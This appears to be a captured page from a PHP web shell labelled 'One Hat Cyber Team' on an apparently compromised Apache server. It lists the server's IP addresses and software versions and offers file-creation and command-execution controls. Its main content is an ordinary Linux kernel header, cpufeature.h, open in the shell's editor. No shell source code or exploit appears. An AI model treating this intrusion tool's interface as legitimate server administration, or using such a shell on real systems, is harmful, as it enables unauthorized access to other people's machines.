⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.10
Server IP:
157.245.101.34
Server:
Linux skvinfotech-website 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
src
/
linux-headers-5.4.0-124
/
include
/
linux
/
Edit File: cpufeature.h
/* SPDX-License-Identifier: GPL-2.0-only */ /* * Copyright (C) 2014 Linaro Ltd.
*/ #ifndef __LINUX_CPUFEATURE_H #define __LINUX_CPUFEATURE_H #ifdef CONFIG_GENERIC_CPU_AUTOPROBE #include
#include
#include
/* * Macros imported from
: * - cpu_feature(x) ordinal value of feature called 'x' * - cpu_have_feature(u32 n) whether feature #n is available * - MAX_CPU_FEATURES upper bound for feature ordinal values * Optional: * - CPU_FEATURE_TYPEFMT format string fragment for printing the cpu type * - CPU_FEATURE_TYPEVAL set of values matching the format string above */ #ifndef CPU_FEATURE_TYPEFMT #define CPU_FEATURE_TYPEFMT "%s" #endif #ifndef CPU_FEATURE_TYPEVAL #define CPU_FEATURE_TYPEVAL ELF_PLATFORM #endif /* * Use module_cpu_feature_match(feature, module_init_function) to * declare that * a) the module shall be probed upon discovery of CPU feature 'feature' * (typically at boot time using udev) * b) the module must not be loaded if CPU feature 'feature' is not present * (not even by manual insmod). * * For a list of legal values for 'feature', please consult the file * 'asm/cpufeature.h' of your favorite architecture. */ #define module_cpu_feature_match(x, __initfunc) \ static struct cpu_feature const __maybe_unused cpu_feature_match_ ## x[] = \ { { .feature = cpu_feature(x) }, { } }; \ MODULE_DEVICE_TABLE(cpu, cpu_feature_match_ ## x); \ \ static int __init cpu_feature_match_ ## x ## _init(void) \ { \ if (!cpu_have_feature(cpu_feature(x))) \ return -ENODEV; \ return __initfunc(); \ } \ module_init(cpu_feature_match_ ## x ## _init) #endif #endif
Simpan